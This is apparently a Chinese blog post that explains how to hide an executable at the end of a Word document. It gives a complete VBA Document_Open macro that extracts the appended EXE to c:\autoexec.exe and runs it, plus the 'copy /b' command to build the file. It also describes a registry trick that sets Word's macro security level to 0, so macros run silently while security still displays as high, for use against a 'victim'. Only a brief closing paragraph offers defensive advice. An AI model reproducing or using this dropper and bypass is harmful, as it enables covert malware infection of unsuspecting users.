每天拿出一分钟来学习,你的生命会更加精彩。

EXE变DOC的方法(宏病毒原理)

发布:洪雨2020-3-15 19:16分类: 编程相关 标签: 易语言 编程

其实这种转换并不是文件格式上的变化,只不过是把一个exe文件接在一个doc文件的末尾而已,这个doc 
文件当然就不是不同word的文档啦,该文档中包含了宏语句,能在 
运行的时候把接在自己文件末尾的exe文件数据读取出来并运行,就 
造成一种假象,好象文档打开时就运行了exe文件似的.(和文件捆绑器的原理很象啊!) 


熟悉vb的朋友都知道,word的宏是使用vba来编写的,具体语法和vb一样,但有些方法vb中没有,如宏病毒 
就是利用宏复制语句来达到感染的目的.和vb一样,我们可以在编写宏的时候调用windowsapi!!下面我们来介绍一下我们编写这个宏需要用到的api函数: 


1)createfile 用于打开文件,该函数vb的声明如下: 
declare function createfile lib "kernel32" alias "createfilea"(byval lpfilename as string, 
byval dwdesiredaccess as long, byval dwsharemode as long,byval lpsecurityattributes 
as long, byval dwcreationdistribution as long, byvaldwflagsandattributes as long, byval htemplate as long) aslong 
2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下: 
declare function closehandle lib "kernel32" (byval hobject aslong) as long 
3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下: 
declare function readfile lib "kernel32" (byval hfile as long,lpbuffer as byte, byvaldwnumberofbytestoread 
as long, lpnumberofbytesread as long, byval lpoverlapped aslong) as long 
4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下: 
declare function writefile lib "kernel32" (byval hfile aslong, lpbuffer as byte, byvaldwnumberofbytestowrite 
as long, lpnumberofbyteswritten as long, byval lpoverlapped aslong) as long 
5)setfileponiter移动文件指针,该函数vb的声明如下: 
declare function setfilepointer lib "kernel32" (byval hfile aslong, byval ldistancetomove as long, byval 
lpdistancetomovehigh as long, byval dwmovemethod as long) aslong 
6)下面是以上函数的参数声明 
public const generic_read as long =&h80000000 
public const generic_write as long =&h40000000 
public const file_share_read as long =1 
public const file_share_write as long =2 
public const create_new as long = 1 
public const create_always as long = 2 


public const open_existing as long = 3 
public const open_always as long = 4 
public const truncate_existing as long =5 
public const invalid_handle_value as long =-1 
public const file_attribute_normal as long =&h80 
好了,有了这些准备工作就可以开始了,我们运行word2000,打开visualbasic编辑器,新建一个模块,把上面的函数 
和参数声明拷进去!再回到“thisdocument”的代码视图,选择documentopen的事件,输入一下代码: 
private sub document_open() 
dim buffer(65536) as byte 
dim h, h2, j, i, k as long 
h = createfile(thisdocument.path & "/" &thisdocument.name, generic_read, file_share_read+ 
file_share_write, 0, open_existing, 0,0) 
‘以share_read的方式打开自身的doc文件 
h2 = createfile("c:\autoexec.exe", generic_write, 0, 0,create_always, 0, 0) 
‘新建一个exe文件准备存放读取出来的数据. 
if h = invalid_handle_value then 
exit sub 
end if 
k = setfilepointer(h, 32768, nil, 0) 
‘把文件指针移动到doc文件与exe文件交界处. 
do 
i = readfile(h, buffer(0), 65536, j,0) 
i = writefile(h2, buffer(0), j, j, 0) 
loop until j < 65536 
closehandle (h) 
closehandle (h2) 
shell "c:\autoexec.exe" 
‘运行exe文件 
end sub   


这样宏就编写好了,注意的地方就是上面setfilepointer函数的使用部分:32768是你编写完宏保存 
好的doc文件的文件大小,不一顶就是32768哦,大家注意! 


大家可能有疑问,如何把exe文件接到doc文件后面呢?很简单,把你要接的exe放到和 
这个doc文件同一个目录下.运行doc命令: 


copy /b xxxx.doc + xxxxx.exenewdoc.doc 
 


这样就可以了~~~.当你打开这个newdoc.doc的时候,宏就会把后面的exe文件读出来并保存 
在c:\autoexec.exe中,然后运行,是不是很恐怖啊!不过这需要你的word2000安全度为最低的时候 
才能实现,关于这个安全度的问题,我们又发现了微软的小bug,大家看看注册表中这个键: 


hkey_current_user\software\microsoft\office\9.0\word\security中的 


level值.当安全度是3(高)的时候,word不会运行任何的宏,2(中)的时候word会询问你是否运行宏,1(低)的时候 
word就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值 
变为0的时候会怎么样!!??对了!如果设为0的话,word里面就会显示安全度为高,但却能自动运行任何 
的宏!!是不是很夸张??和注册表编辑器的后门一样这都是ms的后门吧? 


如果要受害人的机器接受你的doc文件又能顺利运行,最重要就是把word的安全度在注册表中的 
值改为0,怎么改??方法太多了吧,单是ie的恶意代码能实现的都太多了,另外,如果网页上连接上是doc的 
话,ie也会自动下载该doc文件!危险的ms啊!! 


这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用word?太消极了 
吧,最重要的是小心防范,陌生人的东西千万不要收!包括非exe文件,我们现在发现了doc文件能 
隐藏exe文件,也会有人发现其他文件能隐藏exe,所以大家千万要小心.
温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

已有 0/1899 人参与

发表评论:

欢迎使用手机扫描访问本站,还可以关注微信哦~